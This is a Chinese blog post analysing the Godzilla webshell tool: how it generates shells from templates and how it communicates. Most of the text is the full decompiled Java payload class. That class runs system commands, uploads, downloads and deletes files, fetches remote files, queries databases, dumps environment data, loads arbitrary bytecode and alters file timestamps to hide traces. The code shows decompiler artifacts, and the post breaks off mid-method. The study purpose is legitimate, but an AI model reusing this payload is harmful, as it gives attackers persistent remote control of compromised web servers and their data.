哥斯拉代码分析

admin 2024年5月19日00:12:10评论3 views字数 41524阅读138分24秒阅读模式

哥斯拉代码分析

webshell代码生成逻辑

ui下面看命名是一些界面,找到GenerateShellLoder

哥斯拉代码分析其中generateButtonClick()为用户点击后的操作

哥斯拉代码分析

哥斯拉代码分析

哥斯拉代码分析

这里是默认内置的加密算法

哥斯拉代码分析其中加密算法保存在shell包下

哥斯拉代码分析

哥斯拉代码分析这里读取shells/java/template/ 的*.bin的内容,读取以后然后调用

code = code.replace("{pass}", pass).replace("{secretKey}", secretKey).replace("{findStrLeft}", findStrLeft).replace("{findStrRight}", findStrRight);进行替换

哥斯拉代码分析

哥斯拉代码分析

生成以后选择一个目录保存生成的文件哥斯拉代码分析总结一下流程

(1)获取客户端传入的密钥等数据

(2)根据传入的加密器选择合适的方法加密

(3)cryption.generate(password, secretKey)加密,其中调用

Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), this.getClass().getSimpleName());在生成payload时会对密钥做md5加密,取前16位

(4)通过写死的模版做pass key的替换,生成webshell。

  (5) 选择生成的文件,然后写入到文件中

二 通信逻辑

哥斯拉连接进行抓包,发现了测试连接三个通信

哥斯拉代码分析测试连接的处理类位于/godzilla.jar!/core/ui/component/frame/ShellSetting.class 看处理的过程中的关键方法和类

testButtonClick()
testButtonClick()

哥斯拉代码分析

内部调用updateTempShellEntity(),其方法的作用主要是设置shellContext,他是ShellEntity类型,根据变量猜测,应该是webshell的相关的配置信息

哥斯拉代码分析

哥斯拉代码分析

配置完成后,调用this.shellContext.initShellOpertion()

(1)设置this.payloadModel

(2)设置this.cryptionModel

哥斯拉代码分析

其中this.cryptionModel.init(this);会发送一次http请求,并初始化参数。其中getpayload()会获取asssets下面的payload.classs字节码。此class实现了命令执行、文件上传/下载、基本信息获取等全部功能。

哥斯拉代码分析

payload.class的代码还原如下

//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//import java.awt.Rectangle;import java.awt.Robot;import java.awt.Toolkit;import java.awt.image.BufferedImage;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.PrintStream;import java.io.RandomAccessFile;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.InetAddress;import java.net.NetworkInterface;import java.net.URL;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.nio.file.attribute.BasicFileAttributeView;import java.nio.file.attribute.FileTime;import java.sql.Connection;import java.sql.Driver;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.ResultSetMetaData;import java.sql.Statement;import java.text.SimpleDateFormat;import java.util.ArrayList;import java.util.Arrays;import java.util.Date;import java.util.Enumeration;import java.util.HashMap;import java.util.Iterator;import java.util.List;import java.util.Map;import java.util.Properties;import java.util.zip.GZIPInputStream;import java.util.zip.GZIPOutputStream;import javax.imageio.ImageIO;public class payload extends ClassLoader {    public static final char[] toBase64 = new char[]{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};    HashMap parameterMap = new HashMap();    HashMap sessionMap;    Object servletContext;    Object servletRequest;    Object httpSession;    byte[] requestData;    ByteArrayOutputStream outputStream;    public payload() {    }    public payload(ClassLoader loader) {        super(loader);    }    public Class g(byte[] b) {        return super.defineClass(b, 0, b.length);    }    public byte[] run() {        try {            String className = this.get("evalClassName");            String methodName = this.get("methodName");            if (methodName != null) {                Class var10000;                if (className == null) {                    Method method = this.getClass().getMethod(methodName, (Class[])null);                    var10000 = method.getReturnType();                    Class var10001 = class$0;                    if (var10001 == null) {                        try {                            var10001 = Class.forName("[B");                        } catch (ClassNotFoundException var6) {                            throw new NoClassDefFoundError(var6.getMessage());                        }                        class$0 = var10001;                    }                    return var10000.isAssignableFrom(var10001) ? (byte[])method.invoke(this, (Object[])null) : "this method returnType not is byte[]".getBytes();                } else {                    Class evalClass = (Class)this.sessionMap.get(className);                    if (evalClass != null) {                        Object object = evalClass.newInstance();                        object.equals(this.parameterMap);                        object.toString();                        Object resultObject = this.parameterMap.get("result");                        if (resultObject != null) {                            var10000 = class$0;                            if (var10000 == null) {                                try {                                    var10000 = Class.forName("[B");                                } catch (ClassNotFoundException var7) {                                    throw new NoClassDefFoundError(var7.getMessage());                                }                                class$0 = var10000;                            }                            return var10000.isAssignableFrom(resultObject.getClass()) ? (byte[])resultObject : "return typeErr".getBytes();                        } else {                            return new byte[0];                        }                    } else {                        return "evalClass is null".getBytes();                    }                }            } else {                return "method is null".getBytes();            }        } catch (Throwable var8) {            ByteArrayOutputStream stream = new ByteArrayOutputStream();            PrintStream printStream = new PrintStream(stream);            var8.printStackTrace(printStream);            printStream.flush();            printStream.close();            return stream.toByteArray();        }    }    public void formatParameter() {        this.parameterMap.clear();        this.parameterMap.put("sessionMap", this.sessionMap);        this.parameterMap.put("servletRequest", this.servletRequest);        this.parameterMap.put("servletContext", this.servletContext);        this.parameterMap.put("httpSession", this.httpSession);        byte[] parameterByte = this.requestData;        ByteArrayInputStream tStream = new ByteArrayInputStream(parameterByte);        ByteArrayOutputStream tp = new ByteArrayOutputStream();        String key = null;        byte[] lenB = new byte[4];        byte[] data = null;        try {            GZIPInputStream inputStream = new GZIPInputStream(tStream);            while(true) {                while(true) {                    byte t = (byte)inputStream.read();                    if (t == -1) {                        tp.close();                        tStream.close();                        inputStream.close();                        return;                    }                    if (t == 2) {                        key = new String(tp.toByteArray());                        inputStream.read(lenB);                        int len = bytesToInt(lenB);                        byte[] data = new byte[len];                        int readOneLen = 0;                        while((readOneLen += inputStream.read(data, readOneLen, data.length - readOneLen)) < data.length) {                        }                        this.parameterMap.put(key, data);                        tp.reset();                    } else {                        tp.write(t);                    }                }            }        } catch (Exception var11) {        }    }    public boolean equals(Object obj) {        if (obj != null && this.handle(obj)) {            this.noLog(this.servletContext);            return true;        } else {            return false;        }    }    public boolean handle(Object obj) {        if (obj == null) {            return false;        } else {            Class var10000 = class$1;            if (var10000 == null) {                try {                    var10000 = Class.forName("java.io.ByteArrayOutputStream");                } catch (ClassNotFoundException var7) {                    throw new NoClassDefFoundError(var7.getMessage());                }                class$1 = var10000;            }            if (var10000.isAssignableFrom(obj.getClass())) {                this.outputStream = (ByteArrayOutputStream)obj;                return false;            } else {                if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")) {                    this.servletRequest = obj;                } else if (this.supportClass(obj, "%s.servlet.ServletRequest")) {                    this.servletRequest = obj;                } else {                    var10000 = class$0;                    if (var10000 == null) {                        try {                            var10000 = Class.forName("[B");                        } catch (ClassNotFoundException var6) {                            throw new NoClassDefFoundError(var6.getMessage());                        }                        class$0 = var10000;                    }                    if (var10000.isAssignableFrom(obj.getClass())) {                        this.requestData = (byte[])obj;                    } else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) {                        this.httpSession = obj;                    }                }                this.handlePayloadContext(obj);                if (this.servletRequest != null && this.requestData == null) {                    Object var10001 = this.servletRequest;                    Class[] var10003 = new Class[1];                    Class var10006 = class$2;                    if (var10006 == null) {                        try {                            var10006 = Class.forName("java.lang.String");                        } catch (ClassNotFoundException var5) {                            throw new NoClassDefFoundError(var5.getMessage());                        }                        class$2 = var10006;                    }                    var10003[0] = var10006;                    Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{"parameters"});                    if (retVObject != null) {                        var10000 = class$0;                        if (var10000 == null) {                            try {                                var10000 = Class.forName("[B");                            } catch (ClassNotFoundException var4) {                                throw new NoClassDefFoundError(var4.getMessage());                            }                            class$0 = var10000;                        }                        if (var10000.isAssignableFrom(retVObject.getClass())) {                            this.requestData = (byte[])retVObject;                        }                    }                }                return true;            }        }    }    private void handlePayloadContext(Object obj) {        try {            Method getRequestMethod = this.getMethodByClass(obj.getClass(), "getRequest", (Class[])null);            Method getServletContextMethod = this.getMethodByClass(obj.getClass(), "getServletContext", (Class[])null);            Method getSessionMethod = this.getMethodByClass(obj.getClass(), "getSession", (Class[])null);            if (getRequestMethod != null && this.servletRequest == null) {                this.servletRequest = getRequestMethod.invoke(obj, (Object[])null);            }            if (getServletContextMethod != null && this.servletContext == null) {                this.servletContext = getServletContextMethod.invoke(obj, (Object[])null);            }            if (getSessionMethod != null && this.httpSession == null) {                this.httpSession = getSessionMethod.invoke(obj, (Object[])null);            }        } catch (Exception var5) {        }    }    private boolean supportClass(Object obj, String classNameString) {        if (obj == null) {            return false;        } else {            boolean ret = false;            Class c = null;            try {                if ((c = getClass(String.format(classNameString, "javax"))) != null) {                    ret = c.isAssignableFrom(obj.getClass());                }                if (!ret && (c = getClass(String.format(classNameString, "jakarta"))) != null) {                    ret = c.isAssignableFrom(obj.getClass());                }            } catch (Exception var6) {            }            return ret;        }    }    public String toString() {        String returnString = null;        if (this.outputStream != null) {            try {                this.initSessionMap();                GZIPOutputStream gzipOutputStream = new GZIPOutputStream(this.outputStream);                this.formatParameter();                if (this.parameterMap.get("evalNextData") != null) {                    this.run();                    this.requestData = (byte[])this.parameterMap.get("evalNextData");                    this.formatParameter();                }                gzipOutputStream.write(this.run());                gzipOutputStream.close();                this.outputStream.close();            } catch (Throwable var3) {                returnString = var3.getMessage();            }        } else {            returnString = "outputStream is null";        }        this.httpSession = null;        this.outputStream = null;        this.parameterMap = null;        this.requestData = null;        this.servletContext = null;        this.servletRequest = null;        this.sessionMap = null;        return returnString;    }    private void initSessionMap() {        if (this.sessionMap == null) {            if (this.getSessionAttribute("sessionMap") != null) {                try {                    this.sessionMap = (HashMap)this.getSessionAttribute("sessionMap");                } catch (Exception var3) {                }            } else {                this.sessionMap = new HashMap();                try {                    this.setSessionAttribute("sessionMap", this.sessionMap);                } catch (Exception var2) {                }            }            if (this.sessionMap == null) {                this.sessionMap = new HashMap();            }        }    }    public String get(String key) {        try {            return new String((byte[])this.parameterMap.get(key));        } catch (Exception var3) {            return null;        }    }    public byte[] getByteArray(String key) {        try {            return (byte[])this.parameterMap.get(key);        } catch (Exception var3) {            return null;        }    }    public byte[] test() {        return "ok".getBytes();    }    public byte[] getFile() {        String dirName = this.get("dirName");        if (dirName != null) {            dirName = dirName.trim();            String buffer = new String();            try {                String currentDir = (new File(dirName)).getAbsoluteFile() + "/";                File currentDirFile = new File(currentDir);                if (!currentDirFile.exists()) {                    return "dir does not exist".getBytes();                }                File[] files = currentDirFile.listFiles();                buffer = buffer + "ok";                buffer = buffer + "n";                buffer = buffer + currentDir;                buffer = buffer + "n";                if (files != null) {                    for(int i = 0; i < files.length; ++i) {                        File file = files[i];                        try {                            buffer = buffer + file.getName();                            buffer = buffer + "t";                            buffer = buffer + (file.isDirectory() ? "0" : "1");                            buffer = buffer + "t";                            buffer = buffer + (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(file.lastModified()));                            buffer = buffer + "t";                            buffer = buffer + Integer.toString((int)file.length());                            buffer = buffer + "t";                            StringBuffer var10000 = (new StringBuffer(String.valueOf(file.canRead() ? "R" : ""))).append(file.canWrite() ? "W" : "");                            Class var10002 = class$3;                            if (var10002 == null) {                                try {                                    var10002 = Class.forName("java.io.File");                                } catch (ClassNotFoundException var10) {                                    throw new NoClassDefFoundError(var10.getMessage());                                }                                class$3 = var10002;                            }                            String fileState = var10000.append(this.getMethodByClass(var10002, "canExecute", (Class[])null) != null ? (file.canExecute() ? "X" : "") : "").toString();                            buffer = buffer + (fileState != null && fileState.trim().length() != 0 ? fileState : "F");                            buffer = buffer + "n";                        } catch (Exception var11) {                            buffer = buffer + var11.getMessage();                            buffer = buffer + "n";                        }                    }                }            } catch (Exception var12) {                return String.format("dir does not exist errMsg:%s", var12.getMessage()).getBytes();            }            return buffer.getBytes();        } else {            return "No parameter dirName".getBytes();        }    }    public String listFileRoot() {        File[] files = File.listRoots();        String buffer = new String();        for(int i = 0; i < files.length; ++i) {            buffer = buffer + files[i].getPath();            buffer = buffer + ";";        }        return buffer;    }    public byte[] fileRemoteDown() {        String url = this.get("url");        String saveFile = this.get("saveFile");        if (url != null && saveFile != null) {            FileOutputStream outputStream = null;            try {                InputStream inputStream = (new URL(url)).openStream();                outputStream = new FileOutputStream(saveFile);                byte[] data = new byte[5120];                int readNum = true;                int readNum;                while((readNum = inputStream.read(data)) != -1) {                    outputStream.write(data, 0, readNum);                }                outputStream.flush();                outputStream.close();                inputStream.close();                return "ok".getBytes();            } catch (Exception var8) {                if (outputStream != null) {                    try {                        outputStream.close();                    } catch (IOException var7) {                        return var7.getMessage().getBytes();                    }                }                return String.format("%s : %s", var8.getClass().getName(), var8.getMessage()).getBytes();            }        } else {            return "url or saveFile is null".getBytes();        }    }    public byte[] setFileAttr() {        String type = this.get("type");        String attr = this.get("attr");        String fileName = this.get("fileName");        String ret = "Null";        if (type != null && attr != null && fileName != null) {            try {                File file = new File(fileName);                Class var10001;                if ("fileBasicAttr".equals(type)) {                    var10001 = class$3;                    if (var10001 == null) {                        try {                            var10001 = Class.forName("java.io.File");                        } catch (ClassNotFoundException var16) {                            throw new NoClassDefFoundError(var16.getMessage());                        }                        class$3 = var10001;                    }                    if (this.getMethodByClass(var10001, "setWritable", new Class[]{Boolean.TYPE}) != null) {                        if (attr.indexOf("R") != -1) {                            file.setReadable(true);                        }                        if (attr.indexOf("W") != -1) {                            file.setWritable(true);                        }                        if (attr.indexOf("X") != -1) {                            file.setExecutable(true);                        }                        ret = "ok";                    } else {                        ret = "Java version is less than 1.6";                    }                } else if ("fileTimeAttr".equals(type)) {                    var10001 = class$3;                    if (var10001 == null) {                        try {                            var10001 = Class.forName("java.io.File");                        } catch (ClassNotFoundException var15) {                            throw new NoClassDefFoundError(var15.getMessage());                        }                        class$3 = var10001;                    }                    if (this.getMethodByClass(var10001, "setLastModified", new Class[]{Long.TYPE}) != null) {                        Date date = new Date(0L);                        StringBuilder builder = new StringBuilder();                        builder.append(attr);                        char[] cs = new char[13 - builder.length()];                        Arrays.fill(cs, '0');                        builder.append(cs);                        date = new Date(date.getTime() + Long.parseLong(builder.toString()));                        file.setLastModified(date.getTime());                        ret = "ok";                        try {                            Class nioFile = Class.forName("java.nio.file.Paths");                            Class basicFileAttributeViewClass = Class.forName("java.nio.file.attribute.BasicFileAttributeView");                            Class filesClass = Class.forName("java.nio.file.Files");                            if (nioFile != null && basicFileAttributeViewClass != null && filesClass != null) {                                Path var10000 = Paths.get(fileName);                                var10001 = class$4;                                if (var10001 == null) {                                    try {                                        var10001 = Class.forName("java.nio.file.attribute.BasicFileAttributeView");                                    } catch (ClassNotFoundException var13) {                                        throw new NoClassDefFoundError(var13.getMessage());                                    }                                    class$4 = var10001;                                }                                BasicFileAttributeView attributeView = (BasicFileAttributeView)Files.getFileAttributeView(var10000, var10001);                                attributeView.setTimes(FileTime.fromMillis(date.getTime()), FileTime.fromMillis(date.getTime()), FileTime.fromMillis(date.getTime()));                            }                        } catch (Exception var14) {                        }                    } else {                        ret = "Java version is less than 1.2";                    }                } else {                    ret = "no ExcuteType";                }            } catch (Exception var17) {                return String.format("Exception errMsg:%s", var17.getMessage()).getBytes();            }        } else {            ret = "type or attr or fileName is null";        }        return ret.getBytes();    }    public byte[] readFile() {        String fileName = this.get("fileName");        if (fileName != null) {            File file = new File(fileName);            try {                if (file.exists() && file.isFile()) {                    byte[] data = new byte[(int)file.length()];                    FileInputStream fileInputStream;                    if (data.length > 0) {                        int readOneLen = 0;                        fileInputStream = new FileInputStream(file);                        while((readOneLen += fileInputStream.read(data, readOneLen, data.length - readOneLen)) < data.length) {                        }                        fileInputStream.close();                    } else {                        byte[] temData = new byte[3145728];                        fileInputStream = new FileInputStream(file);                        int readLen = fileInputStream.read(temData);                        if (readLen > 0) {                            data = new byte[readLen];                            System.arraycopy(temData, 0, data, 0, data.length);                        }                        fileInputStream.close();                        Object var9 = null;                    }                    return data;                } else {                    return "file does not exist".getBytes();                }            } catch (Exception var7) {                return var7.getMessage().getBytes();            }        } else {            return "No parameter fileName".getBytes();        }    }    public byte[] uploadFile() {        String fileName = this.get("fileName");        byte[] fileValue = this.getByteArray("fileValue");        if (fileName != null && fileValue != null) {            try {                File file = new File(fileName);                file.createNewFile();                FileOutputStream fileOutputStream = new FileOutputStream(file);                fileOutputStream.write(fileValue);                fileOutputStream.close();                return "ok".getBytes();            } catch (Exception var5) {                return var5.getMessage().getBytes();            }        } else {            return "No parameter fileName and fileValue".getBytes();        }    }    public byte[] newFile() {        String fileName = this.get("fileName");        if (fileName != null) {            File file = new File(fileName);            try {                return file.createNewFile() ? "ok".getBytes() : "fail".getBytes();            } catch (Exception var4) {                return var4.getMessage().getBytes();            }        } else {            return "No parameter fileName".getBytes();        }    }    public byte[] newDir() {        String dirName = this.get("dirName");        if (dirName != null) {            File file = new File(dirName);            try {                return file.mkdirs() ? "ok".getBytes() : "fail".getBytes();            } catch (Exception var4) {                return var4.getMessage().getBytes();            }        } else {            return "No parameter fileName".getBytes();        }    }    public byte[] deleteFile() {        String dirName = this.get("fileName");        if (dirName != null) {            try {                File file = new File(dirName);                this.deleteFiles(file);                return "ok".getBytes();            } catch (Exception var3) {                return var3.getMessage().getBytes();            }        } else {            return "No parameter fileName".getBytes();        }    }    public byte[] moveFile() {        String srcFileName = this.get("srcFileName");        String destFileName = this.get("destFileName");        if (srcFileName != null && destFileName != null) {            File file = new File(srcFileName);            try {                if (file.exists()) {                    return file.renameTo(new File(destFileName)) ? "ok".getBytes() : "fail".getBytes();                } else {                    return "The target does not exist".getBytes();                }            } catch (Exception var5) {                return var5.getMessage().getBytes();            }        } else {            return "No parameter srcFileName,destFileName".getBytes();        }    }    public byte[] copyFile() {        String srcFileName = this.get("srcFileName");        String destFileName = this.get("destFileName");        if (srcFileName != null && destFileName != null) {            File srcFile = new File(srcFileName);            File destFile = new File(destFileName);            try {                if (srcFile.exists() && srcFile.isFile()) {                    FileInputStream fileInputStream = new FileInputStream(srcFile);                    FileOutputStream fileOutputStream = new FileOutputStream(destFile);                    byte[] data = new byte[5120];                    int readNum = false;                    int readNum;                    while((readNum = fileInputStream.read(data)) > -1) {                        fileOutputStream.write(data, 0, readNum);                    }                    fileInputStream.close();                    fileOutputStream.close();                    return "ok".getBytes();                } else {                    return "The target does not exist or is not a file".getBytes();                }            } catch (Exception var9) {                return var9.getMessage().getBytes();            }        } else {            return "No parameter srcFileName,destFileName".getBytes();        }    }    public byte[] include() {        byte[] binCode = this.getByteArray("binCode");        String className = this.get("codeName");        if (binCode != null && className != null) {            try {                payload payload = new payload(this.getClass().getClassLoader());                Class module = payload.g(binCode);                this.sessionMap.put(className, module);                return "ok".getBytes();            } catch (Exception var5) {                return this.sessionMap.get(className) != null ? "ok".getBytes() : var5.getMessage().getBytes();            }        } else {            return "No parameter binCode,codeName".getBytes();        }    }    public Object getSessionAttribute(String keyString) {        if (this.httpSession != null) {            Object var10001 = this.httpSession;            Class[] var10003 = new Class[1];            Class var10006 = class$2;            if (var10006 == null) {                try {                    var10006 = Class.forName("java.lang.String");                } catch (ClassNotFoundException var2) {                    throw new NoClassDefFoundError(var2.getMessage());                }                class$2 = var10006;            }            var10003[0] = var10006;            return this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{keyString});        } else {            return null;        }    }    public void setSessionAttribute(String keyString, Object value) {        if (this.httpSession != null) {            Object var10001 = this.httpSession;            Class[] var10003 = new Class[2];            Class var10006 = class$2;            if (var10006 == null) {                try {                    var10006 = Class.forName("java.lang.String");                } catch (ClassNotFoundException var4) {                    throw new NoClassDefFoundError(var4.getMessage());                }                class$2 = var10006;            }            var10003[0] = var10006;            var10006 = class$5;            if (var10006 == null) {                try {                    var10006 = Class.forName("java.lang.Object");                } catch (ClassNotFoundException var3) {                    throw new NoClassDefFoundError(var3.getMessage());                }                class$5 = var10006;            }            var10003[1] = var10006;            this.getMethodAndInvoke(var10001, "setAttribute", var10003, new Object[]{keyString, value});        }    }    public byte[] execCommand() {        String argsCountStr = this.get("argsCount");        if (argsCountStr != null && argsCountStr.length() > 0) {            try {                Process process = null;                ArrayList argsList = new ArrayList();                int argsCount = Integer.parseInt(argsCountStr);                if (argsCount <= 0) {                    return "argsCount <=0".getBytes();                } else {                    for(int i = 0; i < argsCount; ++i) {                        String val = this.get(String.format("arg-%d", new Integer(i)));                        if (val != null) {                            argsList.add(val);                        }                    }                    String[] cmdarray = new String[argsList.size()];                    for(int i = 0; i < argsList.size(); ++i) {                        cmdarray[i] = (String)argsList.get(i);                    }                    process = Runtime.getRuntime().exec((String[])argsList.toArray(new String[0]));                    if (process == null) {                        return "Unable to start process".getBytes();                    } else {                        InputStream inputStream = process.getInputStream();                        InputStream errorInputStream = process.getErrorStream();                        ByteArrayOutputStream memStream = new ByteArrayOutputStream(1024);                        byte[] buff = new byte[521];                        int readNum = false;                        int readNum;                        if (inputStream != null) {                            while((readNum = inputStream.read(buff)) > 0) {                                memStream.write(buff, 0, readNum);                            }                        }                        if (errorInputStream != null) {                            while((readNum = errorInputStream.read(buff)) > 0) {                                memStream.write(buff, 0, readNum);                            }                        }                        return memStream.toByteArray();                    }                }            } catch (Exception var10) {                return var10.getMessage().getBytes();            }        } else {            return "No parameter argsCountStr".getBytes();        }    }    public byte[] getBasicsInfo() {        try {            Enumeration keys = System.getProperties().keys();            String basicsInfo = new String();            basicsInfo = basicsInfo + "FileRoot : " + this.listFileRoot() + "n";            basicsInfo = basicsInfo + "CurrentDir : " + (new File("")).getAbsoluteFile() + "/" + "n";            basicsInfo = basicsInfo + "CurrentUser : " + System.getProperty("user.name") + "n";            basicsInfo = basicsInfo + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "n";            try {                String tmpdir = System.getProperty("java.io.tmpdir");                char lastChar = tmpdir.charAt(tmpdir.length() - 1);                if (lastChar != '\' && lastChar != '/') {                    tmpdir = tmpdir + File.separator;                }                basicsInfo = basicsInfo + "TempDirectory : " + tmpdir + "n";            } catch (Exception var7) {            }            basicsInfo = basicsInfo + "DocBase : " + this.getDocBase() + "n";            basicsInfo = basicsInfo + "RealFile : " + this.getRealPath() + "n";            basicsInfo = basicsInfo + "servletRequest : " + (this.servletRequest == null ? "null" : String.valueOf(this.servletRequest.hashCode()) + "n");            basicsInfo = basicsInfo + "servletContext : " + (this.servletContext == null ? "null" : String.valueOf(this.servletContext.hashCode()) + "n");            basicsInfo = basicsInfo + "httpSession : " + (this.httpSession == null ? "null" : String.valueOf(this.httpSession.hashCode()) + "n");            try {                basicsInfo = basicsInfo + "OsInfo : " + String.format("os.name: %s os.version: %s os.arch: %s", System.getProperty("os.name"), System.getProperty("os.version"), System.getProperty("os.arch")) + "n";            } catch (Exception var6) {                basicsInfo = basicsInfo + "OsInfo : " + var6.getMessage() + "n";            }            basicsInfo = basicsInfo + "IPList : " + getLocalIPList() + "n";            while(keys.hasMoreElements()) {                Object object = keys.nextElement();                if (object instanceof String) {                    String key = (String)object;                    basicsInfo = basicsInfo + key + " : " + System.getProperty(key) + "n";                }            }            Map envMap = this.getEnv();            String key;            if (envMap != null) {                for(Iterator iterator = envMap.keySet().iterator(); iterator.hasNext(); basicsInfo = basicsInfo + key + " : " + envMap.get(key) + "n") {                    key = (String)iterator.next();                }            }            return basicsInfo.getBytes();        } catch (Exception var8) {            return var8.getMessage().getBytes();        }    }    public byte[] screen() {        try {            Robot robot = new Robot();            BufferedImage as = robot.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height));            ByteArrayOutputStream bs = new ByteArrayOutputStream();            ImageIO.write(as, "png", ImageIO.createImageOutputStream(bs));            byte[] data = bs.toByteArray();            bs.close();            return data;        } catch (Exception var5) {            return var5.getMessage().getBytes();        }    }    public byte[] execSql() throws Exception {        String charset = this.get("dbCharset");        String dbType = this.get("dbType");        String dbHost = this.get("dbHost");        String dbPort = this.get("dbPort");        String dbUsername = this.get("dbUsername");        String dbPassword = this.get("dbPassword");        String execType = this.get("execType");        String execSql = new String(this.getByteArray("execSql"), charset);        if (dbType != null && dbHost != null && dbPort != null && dbUsername != null && dbPassword != null && execType != null && execSql != null) {            try {                try {                    Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");                } catch (Exception var24) {                }                try {                    Class.forName("oracle.jdbc.driver.OracleDriver");                } catch (Exception var23) {                    try {                        Class.forName("oracle.jdbc.OracleDriver");                    } catch (Exception var22) {                    }                }                try {                    Class.forName("com.mysql.cj.jdbc.Driver");                } catch (Exception var21) {                    try {                        Class.forName("com.mysql.jdbc.Driver");                    } catch (Exception var20) {                    }                }                try {                    Class.forName("org.postgresql.Driver");                } catch (Exception var19) {                }                try {                    Class.forName("org.sqlite.JDBC");                } catch (Exception var18) {                }                String connectUrl = null;                if ("mysql".equals(dbType)) {                    connectUrl = "jdbc:mysql://" + dbHost + ":" + dbPort + "/" + "?useSSL=false&serverTimezone=UTC&zeroDateTimeBehavior=convertToNull&noDatetimeStringSync=true&characterEncoding=utf-8";                } else if ("oracle".equals(dbType)) {                    connectUrl = "jdbc:oracle:thin:@" + dbHost + ":" + dbPort + ":orcl";                } else if ("sqlserver".equals(dbType)) {                    connectUrl = "jdbc:sqlserver://" + dbHost + ":" + dbPort + ";";                } else if ("postgresql".equals(dbType)) {                    connectUrl = "jdbc:postgresql://" + dbHost + ":" + dbPort + "/";                } else if ("sqlite".equals(dbType)) {                    connectUrl = "jdbc:sqlite:" + dbHost;                }                if (dbHost.indexOf("jdbc:") != -1) {                    connectUrl = dbHost;                }                if (connectUrl != null) {                    try {                        Connection dbConn = null;                        try {                            dbConn = getConnection(connectUrl, dbUsername, dbPassword);                        } catch (Exception var17) {                        }                        if (dbConn == null) {                            dbConn = DriverManager.getConnection(connectUrl, dbUsername, dbPassword);                        }                        Statement statement = dbConn.createStatement();                        if (!execType.equals("select")) {                            int affectedNum = statement.executeUpdate(execSql);                            statement.close();                            dbConn.close();                            return ("Query OK, " + affectedNum + " rows affected").getBytes();                        } else {                            String data = "okn";                            ResultSet resultSet = statement.executeQuery(execSql);                            ResultSetMetaData metaData = resultSet.getMetaData();                            int columnNum = metaData.getColumnCount();                            int i;                            for(i = 0; i < columnNum; ++i) {                                data = data + this.base64Encode(String.format("%s", metaData.getColumnName(i + 1))) + "t";                            }                            for(data = data + "n"; resultSet.next(); data = data + "n") {                                for(i = 0; i < columnNum; ++i) {                                    data = data + this.base64Encode(String.format("%s", resultSet.getString(i + 1))) + "t";                                }                            }                            resultSet.close();                            statement.close();                            dbConn.close();                            return data.getBytes();                        }                    } catch (Exception var25) {                        return var25.getMessage().getBytes();                    }                } else {                    return ("no " + dbType + " Dbtype").getBytes();                }            } catch (Exception var26) {                return var26.getMessage().getBytes();            }        } else {            return "No parameter dbType,dbHost,dbPort,dbUsername,dbPassword,execType,execSql".getBytes();        }    }    public byte[] close() {        try {            if (this.httpSession != null) {                this.getMethodAndInvoke(this.httpSession, "invalidate", (Class[])null, (Object[])null);            }            return "ok".getBytes();        } catch (Exception var2) {            return var2.getMessage().getBytes();        }    }    public byte[] bigFileUpload() {        String fileName = this.get("fileName");        byte[] fileContents = this.getByteArray("fileContents");        String position = this.get("position");        try {            if (position == null) {                FileOutputStream fileOutputStream = new FileOutputStream(fileName, true);                fileOutputStream.write(fileContents);                fileOutputStream.flush();                fileOutputStream.close();            } else {                RandomAccessFile fileOutputStream = new RandomAccessFile(fileName, "rw");                fileOutputStream.seek((long)Integer.parseInt(position));                fileOutputStream.write(fileContents);                fileOutputStream.close();            }            return "ok".getBytes();        } catch (Exception var5) {            return String.format("Exception errMsg:%s", var5.getMessage()).getBytes();        }    }    public byte[] bigFileDownload() {        String fileName = this.get("fileName");        String mode = this.get("mode");        String readByteNumString = this.get("readByteNum");        String positionString = this.get("position");        try {            if ("fileSize".equals(mode)) {                return String.valueOf((new File(fileName)).length()).getBytes();            } else if ("read".equals(mode)) {                int position = Integer.valueOf(positionString);                int readByteNum = Integer.valueOf(readByteNumString);                byte[] readData = new byte[readByteNum];                FileInputStream fileInputStream = new FileInputStream(fileName);                fileInputStream.skip((long)position);                int readNum = fileInputStream.read(readData);                fileInputStream.close();                return readNum == readData.length ? readData : copyOf(readData, readNum);            } else {                return "no mode".getBytes();            }        } catch (Exception var10) {            return String.format("Exception errMsg:%s", var10.getMessage()).getBytes();        }    }    public static byte[] copyOf(byte[] original, int newLength) {        byte[] arrayOfByte = new byte[newLength];        System.arraycopy(original, 0, arrayOfByte, 0, Math.min(original.length, newLength));        return arrayOfByte;    }    public Map getEnv() {        try {            int jreVersion = Integer.parseInt(System.getProperty("java.version").substring(2, 3));            if (jreVersion >= 5) {                try {                    Class var10000 = class$6;                    if (var10000 == null) {                        try {                            var10000 = Class.forName("java.lang.System");                        } catch (ClassNotFoundException var4) {                            throw new NoClassDefFoundError(var4.getMessage());                        }                        class$6 = var10000;                    }                    Method method = var10000.getMethod("getenv");                    if (method != null) {                        var10000 = method.getReturnType();                        Class var10001 = class$7;                        if (var10001 == null) {                            try {                                var10001 = Class.forName("java.util.Map");                            } catch (ClassNotFoundException var3) {                                throw new NoClassDefFoundError(var3.getMessage());                            }                            class$7 = var10001;                        }                        if (var10000.isAssignableFrom(var10001)) {                            return (Map)method.invoke((Object)null, (Object[])null);                        }                    }                    return null;                } catch (Exception var5) {                    return null;                }            } else {                return null;            }        } catch (Exception var6) {            return null;        